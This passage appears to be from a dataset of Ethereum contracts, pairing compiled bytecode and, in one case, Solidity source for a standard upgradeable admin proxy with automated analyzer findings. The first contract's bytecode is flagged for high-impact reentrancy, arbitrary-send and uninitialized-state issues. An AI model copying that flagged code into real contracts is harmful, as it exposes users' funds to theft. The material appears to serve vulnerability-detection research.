ffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114d09190613018565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561154d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154490612fb8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b490612ed8565b60405180910390fd5b60008111611600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f790612f98565b60405180910390fd5b600061160b836108f7565b90506003600d81905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116c15750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156116d55760135481106116d457600080fd5b5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146117765760038060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061177557600080fd5b5b61177e6108ce565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156117ec57506117bc6108ce565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118045750601060149054906101000a900460ff165b15611c1357601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118b55750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561190c57506000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544361190991906131de565b11155b1561191f5761191a83612119565b611a43565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119cb5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a335750600a60019054906101000a900460ff1660ff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205443611a3091906131de565b11155b15611a4257611a41836121d4565b5b5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611aee5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b445750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b5957601154821115611b5857600080fd5b5b6000611b64306108f7565b9050601060159054906101000a900460ff16158015611bd15750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611be95750601060169054906101000a900460ff165b15611c1157611bf781611db1565b60004790506000811115611c0f57611c0e47611d45565b5b505b505b600060019050600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611cba5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611cc457600090505b611cce4385612291565b611cda858585846122d9565b5050505050565b6000838311158290611d29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d209190612eb6565b60405180910390fd5b5060008385611d3891906131de565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611dad573d6000803e3d6000fd5b5050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e0f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e3d5781602001602082028036833780820191505090505b5090503081600081518110611e7b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f1d57600080fd5b505afa158015611f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5591906129ac565b81600181518110611f8f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ff630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611312565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161205a959493929190613033565b600060405180830381600087803b15801561207457600080fd5b505af1158015612088573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b60006006548211156120f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e990612ef8565b60405180910390fd5b60006120fc612306565b9050612111818461233190919063ffffffff16565b915050919050565b60038060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561217b576001600b600082825461217391906130fd565b925050819055505b60038060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121ca91906130fd565b9250508190555050565b6002600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612237576001600b600082825461222f91906130fd565b925050819055505b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461228791906130fd565b9250508190555050565b81600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b806122e7576000600d819055505b6122f284848461237b565b80612300576003600d819055505b50505050565b600080600061231361253c565b9150915061232a818361233190919063ffffffff16565b9250505090565b600061237383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125a1565b905092915050565b60008060008060008061238d87612604565b9550955095509550955095506123eb86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266c90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061248085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124cc81612714565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125299190613018565b60405180910390a3505050505050505050565b60008060006006549050600069152d02c7e14af6800000905061257469152d02c7e14af680000060065461233190919063ffffffff16565b8210156125945760065469152d02c7e14af680000093509350505061259d565b81819350935050505b9091565b600080831182906125e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125df9190612eb6565b60405180910390fd5b50600083856125f79190613153565b9050809150509392505050565b60008060008060008060008060006126218a600c54600d546127d1565b9250925092506000612631612306565b905060008060006126448e878787612867565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126ae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ce1565b905092915050565b60008082846126c591906130fd565b90508381101561270a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270190612f38565b60405180910390fd5b8091505092915050565b600061271e612306565b90506000612735828461128f90919063ffffffff16565b905061278981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000806000806127fd60646127ef888a61128f90919063ffffffff16565b61233190919063ffffffff16565b905060006128276064612819888b61128f90919063ffffffff16565b61233190919063ffffffff16565b9050600061285082612842858c61266c90919063ffffffff16565b61266c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612880858961128f90919063ffffffff16565b90506000612897868961128f90919063ffffffff16565b905060006128ae878961128f90919063ffffffff16565b905060006128d7826128c9858761266c90919063ffffffff16565b61266c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506128ff81613632565b92915050565b60008151905061291481613632565b92915050565b60008135905061292981613649565b92915050565b60008151905061293e81613660565b92915050565b60008135905061295381613677565b92915050565b60008151905061296881613677565b92915050565b60008135905061297d8161368e565b92915050565b60006020828403121561299557600080fd5b60006129a3848285016128f0565b91505092915050565b6000602082840312156129be57600080fd5b60006129cc84828501612905565b91505092915050565b6000602082840312156129e757600080fd5b60006129f58482850161291a565b91505092915050565b60008060408385031215612a1157600080fd5b6000612a1f858286016128f0565b9250506020612a30858286016128f0565b9150509250929050565b600080600060608486031215612a4f57600080fd5b6000612a5d868287016128f0565b9350506020612a6e868287016128f0565b9250506040612a7f86828701612944565b9150509250925092565b60008060408385031215612a9c57600080fd5b6000612aaa858286016128f0565b9250506020612abb85828601612944565b9150509250929050565b600060208284031215612ad757600080fd5b6000612ae58482850161292f565b91505092915050565b600080600060608486031215612b0357600080fd5b6000612b1186828701612959565b9350506020612b2286828701612959565b9250506040612b3386828701612959565b9150509250925092565b600060208284031215612b4f57600080fd5b6000612b5d8482850161296e565b91505092915050565b6000612b728383612b7e565b60208301905092915050565b612b8781613212565b82525050565b612b9681613212565b82525050565b6000612ba7826130b8565b612bb181856130db565b9350612bbc836130a8565b8060005b83811015612bed578151612bd48882612b66565b9750612bdf836130ce565b925050600181019050612bc0565b5085935050505092915050565b612c0381613236565b82525050565b612c1281613279565b82525050565b6000612c23826130c3565b612c2d81856130ec565b9350612c3d81856020860161328b565b612c468161337d565b840191505092915050565b6000612c5e6023836130ec565b9150612c698261338e565b604082019050919050565b6000612c81602a836130ec565b9150612c8c826133dd565b604082019050919050565b6000612ca46022836130ec565b9150612caf8261342c565b604082019050919050565b6000612cc7601b836130ec565b9150612cd28261347b565b602082019050919050565b6000612cea6021836130ec565b9150612cf5826134a4565b604082019050919050565b6000612d0d6020836130ec565b9150612d18826134f3565b602082019050919050565b6000612d306029836130ec565b9150612d3b8261351c565b604082019050919050565b6000612d536025836130ec565b9150612d5e8261356b565b604082019050919050565b6000612d766024836130ec565b9150612d81826135ba565b604082019050919050565b6000612d996017836130ec565b9150612da482613609565b602082019050919050565b612db881613262565b82525050565b612dc78161326c565b82525050565b6000602082019050612de26000830184612b8d565b92915050565b6000604082019050612dfd6000830185612b8d565b612e0a6020830184612b8d565b9392505050565b6000604082019050612e266000830185612b8d565b612e336020830184612daf565b9392505050565b600060c082019050612e4f6000830189612b8d565b612e5c6020830188612daf565b612e696040830187612c09565b612e766060830186612c09565b612e836080830185612b8d565b612e9060a0830184612daf565b979650505050505050565b6000602082019050612eb06000830184612bfa565b92915050565b60006020820190508181036000830152612ed08184612c18565b905092915050565b60006020820190508181036000830152612ef181612c51565b9050919050565b60006020820190508181036000830152612f1181612c74565b9050919050565b60006020820190508181036000830152612f3181612c97565b9050919050565b60006020820190508181036000830152612f5181612cba565b9050919050565b60006020820190508181036000830152612f7181612cdd565b9050919050565b60006020820190508181036000830152612f9181612d00565b9050919050565b60006020820190508181036000830152612fb181612d23565b9050919050565b60006020820190508181036000830152612fd181612d46565b9050919050565b60006020820190508181036000830152612ff181612d69565b9050919050565b6000602082019050818103600083015261301181612d8c565b9050919050565b600060208201905061302d6000830184612daf565b92915050565b600060a0820190506130486000830188612daf565b6130556020830187612c09565b81810360408301526130678186612b9c565b90506130766060830185612b8d565b6130836080830184612daf565b9695505050505050565b60006020820190506130a26000830184612dbe565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310882613262565b915061311383613262565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613148576131476132f0565b5b828201905092915050565b600061315e82613262565b915061316983613262565b9250826131795761317861331f565b5b828204905092915050565b600061318f82613262565b915061319a83613262565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131d3576131d26132f0565b5b828202905092915050565b60006131e982613262565b91506131f483613262565b925082821015613207576132066132f0565b5b828203905092915050565b600061321d82613242565b9050919050565b600061322f82613242565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061328482613262565b9050919050565b60005b838110156132a957808201518184015260208101905061328e565b838111156132b8576000848401525b50505050565b600060028204905060018216806132d657607f821691505b602082108114156132ea576132e961334e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61363b81613212565b811461364657600080fd5b50565b61365281613224565b811461365d57600080fd5b50565b61366981613236565b811461367457600080fd5b50565b61368081613262565b811461368b57600080fd5b50565b6136978161326c565b81146136a257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201815e08b73150278f344d0bc52d6a3f47989df9508b557796d3f90ac13155cc864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
439
0x555ddd7c3999010cff0ae3671d31cb376fa638f0
/** *Submitted for verification at Etherscan.io on 2020-11-19 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061005e5760003560e01c80635c60da1b116100435780635c60da1b146101425780638f28397014610180578063f851a440146101c05761006d565b80633659cfe6146100755780634f1ef286146100b55761006d565b3661006d5761006b6101d5565b005b61006b6101d5565b34801561008157600080fd5b5061006b6004803603602081101561009857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101ef565b61006b600480360360408110156100cb57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561010357600080fd5b82018360208201111561011557600080fd5b8035906020019184600183028401116401000000008311171561013757600080fd5b509092509050610243565b34801561014e57600080fd5b50610157610317565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561018c57600080fd5b5061006b600480360360208110156101a357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661036e565b3480156101cc57600080fd5b50610157610476565b6101dd6104c1565b6101ed6101e8610555565b61057a565b565b6101f761059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023857610233816105c3565b610240565b6102406101d5565b50565b61024b61059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561030a57610287836105c3565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146102f1576040519150601f19603f3d011682016040523d82523d6000602084013e6102f6565b606091505b505090508061030457600080fd5b50610312565b6103126101d5565b505050565b600061032161059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c610555565b905061036b565b61036b6101d5565b90565b61037661059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102385773ffffffffffffffffffffffffffffffffffffffff8116610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806106e96036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61043e61059e565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a161023381610610565b600061048061059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c61059e565b3b151590565b6104c961059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561054d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806106b76032913960400191505060405180910390fd5b6101ed6101ed565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610599573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6105cc81610634565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61063d816104bb565b610692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061071f603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220f18021ccf4caeda92381153066b90d5e1abbacce61a73ea8e94a8529b70a5f8e64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
440
0x917e5f4086d5f99890bde7a383b79a65c124d219
